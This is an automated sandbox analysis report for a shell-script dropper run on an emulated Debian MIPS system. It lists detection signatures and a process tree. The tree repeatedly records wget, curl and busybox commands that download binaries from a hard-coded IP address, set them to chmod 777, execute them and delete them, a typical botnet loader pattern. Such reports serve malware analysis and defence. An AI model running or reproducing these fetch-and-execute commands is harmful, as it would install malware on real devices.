0d437f2af8eea1ceda3b8e42c782ca202d88740f9b9eccfa37708e340f0e458d

Analysis

max time kernel
139s
max time network
142s
platform
debian-9_mips
resource
debian9-mipsbe-20240729-en
resource tags

arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
14/11/2024, 02:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0d437f2af8eea1ceda3b8e42c782ca202d88740f9b9eccfa37708e340f0e458d.sh
Size 10KB
Sample241114-ch7a4awpdm
SHA256 0d437f2af8eea1ceda3b8e42c782ca202d88740f9b9eccfa37708e340f0e458d
MD5 24a7a6f95be9f9dd494894332a670cb5
SHA1 4b583bb37b65c493007ce8ed28f87e1900c74380
SHA512 8619cf0f4b11ed68092a5ed3e8bc63bbd19e15d714a8fbb3248458c7a4c4fa19ae5661f012a2da6d5aa2c724e69d41d0e34353fbb7781f093613135c59011ae6
SSDEEP 96:b466kNMhw0p7Z5/gM70P6KVrVHV/VeVuVziH466kNMRfw057Z5/gMHkh6ihz6XmQ:bs7Q5ixO
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
821	chmod
887	chmod
923	chmod
983	chmod
751	chmod
971	chmod
935	chmod
863	chmod
758	chmod
941	chmod
989	chmod
857	chmod
953	chmod
959	chmod
977	chmod
917	chmod
770	chmod
911	chmod
929	chmod
947	chmod
965	chmod
875	chmod
869	chmod
881	chmod
893	chmod
899	chmod
905	chmod
815	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO	curl
File opened for modification	/tmp/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0	curl
File opened for modification	/tmp/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu	curl
File opened for modification	/tmp/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu	curl
File opened for modification	/tmp/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN	curl
File opened for modification	/tmp/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx	curl
File opened for modification	/tmp/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP	curl
File opened for modification	/tmp/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o	curl
File opened for modification	/tmp/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq	curl
File opened for modification	/tmp/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO	curl
File opened for modification	/tmp/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE	curl
File opened for modification	/tmp/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN	curl
File opened for modification	/tmp/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0	curl
File opened for modification	/tmp/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP	curl
File opened for modification	/tmp/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y	curl
File opened for modification	/tmp/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ	curl
File opened for modification	/tmp/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE	curl
File opened for modification	/tmp/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ	curl
File opened for modification	/tmp/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx	curl
File opened for modification	/tmp/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP	curl
File opened for modification	/tmp/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o	curl
File opened for modification	/tmp/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx	curl
File opened for modification	/tmp/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO	curl
File opened for modification	/tmp/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq	curl
File opened for modification	/tmp/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y	curl
File opened for modification	/tmp/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx	curl
File opened for modification	/tmp/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP	curl
File opened for modification	/tmp/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO	curl

/tmp/0d437f2af8eea1ceda3b8e42c782ca202d88740f9b9eccfa37708e340f0e458d.sh
/tmp/0d437f2af8eea1ceda3b8e42c782ca202d88740f9b9eccfa37708e340f0e458d.sh
1⤵
PID:718
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:721
- /usr/bin/wget
  wget http://216.126.231.240/bins/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  PID:727
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  PID:748
- /bin/chmod
  chmod 777 DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  ./DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  - Executes dropped EXE
  PID:752
- /bin/rm
  rm DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  PID:753
- /usr/bin/wget
  wget http://216.126.231.240/bins/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  PID:755
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:756
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  PID:757
- /bin/chmod
  chmod 777 zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  ./zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  - Executes dropped EXE
  PID:759
- /bin/rm
  rm zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  PID:760
- /usr/bin/wget
  wget http://216.126.231.240/bins/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  PID:761
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:762
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  PID:765
- /bin/chmod
  chmod 777 YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  ./YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  - Executes dropped EXE
  PID:771
- /bin/rm
  rm YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  PID:775
- /usr/bin/wget
  wget http://216.126.231.240/bins/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  PID:776
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:794
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  PID:805
- /bin/chmod
  chmod 777 qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  ./qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  - Executes dropped EXE
  PID:816
- /bin/rm
  rm qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  PID:817
- /usr/bin/wget
  wget http://216.126.231.240/bins/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  PID:818
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:819
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  PID:820
- /bin/chmod
  chmod 777 Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  ./Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  - Executes dropped EXE
  PID:822
- /bin/rm
  rm Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  PID:823
- /usr/bin/wget
  wget http://216.126.231.240/bins/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  PID:824
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:827
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  PID:836
- /bin/chmod
  chmod 777 j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  - File and Directory Permissions Modification
  PID:857
- /tmp/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  ./j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  - Executes dropped EXE
  PID:858
- /bin/rm
  rm j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  PID:859
- /usr/bin/wget
  wget http://216.126.231.240/bins/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  PID:860
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:861
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  PID:862
- /bin/chmod
  chmod 777 6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  ./6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  - Executes dropped EXE
  PID:864
- /bin/rm
  rm 6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  PID:865
- /usr/bin/wget
  wget http://216.126.231.240/bins/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  PID:866
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:867
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  PID:868
- /bin/chmod
  chmod 777 tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  ./tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  - Executes dropped EXE
  PID:870
- /bin/rm
  rm tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  PID:871
- /usr/bin/wget
  wget http://216.126.231.240/bins/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  PID:872
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:873
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  PID:874
- /bin/chmod
  chmod 777 19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  ./19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  - Executes dropped EXE
  PID:876
- /bin/rm
  rm 19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  PID:877
- /usr/bin/wget
  wget http://216.126.231.240/bins/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  PID:878
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:879
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  PID:880
- /bin/chmod
  chmod 777 UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  ./UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  - Executes dropped EXE
  PID:882
- /bin/rm
  rm UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  PID:883
- /usr/bin/wget
  wget http://216.126.231.240/bins/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  PID:884
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:885
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  PID:886
- /bin/chmod
  chmod 777 2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  ./2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  - Executes dropped EXE
  PID:888
- /bin/rm
  rm 2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  PID:889
- /usr/bin/wget
  wget http://216.126.231.240/bins/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  PID:890
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:891
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  PID:892
- /bin/chmod
  chmod 777 NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  ./NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  - Executes dropped EXE
  PID:894
- /bin/rm
  rm NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  PID:895
- /usr/bin/wget
  wget http://216.126.231.240/bins/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  PID:896
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:897
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  PID:898
- /bin/chmod
  chmod 777 4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  ./4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  - Executes dropped EXE
  PID:900
- /bin/rm
  rm 4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  PID:901
- /usr/bin/wget
  wget http://216.126.231.240/bins/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  PID:902
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:903
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  PID:904
- /bin/chmod
  chmod 777 EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  ./EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  - Executes dropped EXE
  PID:906
- /bin/rm
  rm EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  PID:907
- /usr/bin/wget
  wget http://216.126.231.240/bins/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  PID:908
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:909
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  PID:910
- /bin/chmod
  chmod 777 zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /tmp/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  ./zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  - Executes dropped EXE
  PID:912
- /bin/rm
  rm zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  PID:913
- /usr/bin/wget
  wget http://216.126.231.240/bins/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  PID:914
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:915
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  PID:916
- /bin/chmod
  chmod 777 YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  ./YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  - Executes dropped EXE
  PID:918
- /bin/rm
  rm YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  PID:919
- /usr/bin/wget
  wget http://216.126.231.240/bins/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  PID:920
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:921
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  PID:922
- /bin/chmod
  chmod 777 qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  - File and Directory Permissions Modification
  PID:923
- /tmp/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  ./qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  - Executes dropped EXE
  PID:924
- /bin/rm
  rm qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  PID:925
- /usr/bin/wget
  wget http://216.126.231.240/bins/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  PID:926
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:927
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  PID:928
- /bin/chmod
  chmod 777 Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  - File and Directory Permissions Modification
  PID:929
- /tmp/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  ./Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  - Executes dropped EXE
  PID:930
- /bin/rm
  rm Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  PID:931
- /usr/bin/wget
  wget http://216.126.231.240/bins/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  PID:932
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:933
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  PID:934
- /bin/chmod
  chmod 777 j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  ./j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  - Executes dropped EXE
  PID:936
- /bin/rm
  rm j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  PID:937
- /usr/bin/wget
  wget http://216.126.231.240/bins/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  PID:938
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:939
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  PID:940
- /bin/chmod
  chmod 777 6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  - File and Directory Permissions Modification
  PID:941
- /tmp/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  ./6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  - Executes dropped EXE
  PID:942
- /bin/rm
  rm 6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  PID:943
- /usr/bin/wget
  wget http://216.126.231.240/bins/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  PID:944
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:945
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  PID:946
- /bin/chmod
  chmod 777 tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  - File and Directory Permissions Modification
  PID:947
- /tmp/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  ./tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  - Executes dropped EXE
  PID:948
- /bin/rm
  rm tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  PID:949
- /usr/bin/wget
  wget http://216.126.231.240/bins/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  PID:950
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:951
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  PID:952
- /bin/chmod
  chmod 777 19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  - File and Directory Permissions Modification
  PID:953
- /tmp/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  ./19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  - Executes dropped EXE
  PID:954
- /bin/rm
  rm 19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  PID:955
- /usr/bin/wget
  wget http://216.126.231.240/bins/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  PID:956
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:957
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  PID:958
- /bin/chmod
  chmod 777 UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  - File and Directory Permissions Modification
  PID:959
- /tmp/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  ./UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  - Executes dropped EXE
  PID:960
- /bin/rm
  rm UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  PID:961
- /usr/bin/wget
  wget http://216.126.231.240/bins/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  PID:962
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:963
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  PID:964
- /bin/chmod
  chmod 777 2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  - File and Directory Permissions Modification
  PID:965
- /tmp/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  ./2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  - Executes dropped EXE
  PID:966
- /bin/rm
  rm 2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  PID:967
- /usr/bin/wget
  wget http://216.126.231.240/bins/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  PID:968
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:969
- /bin/busybox
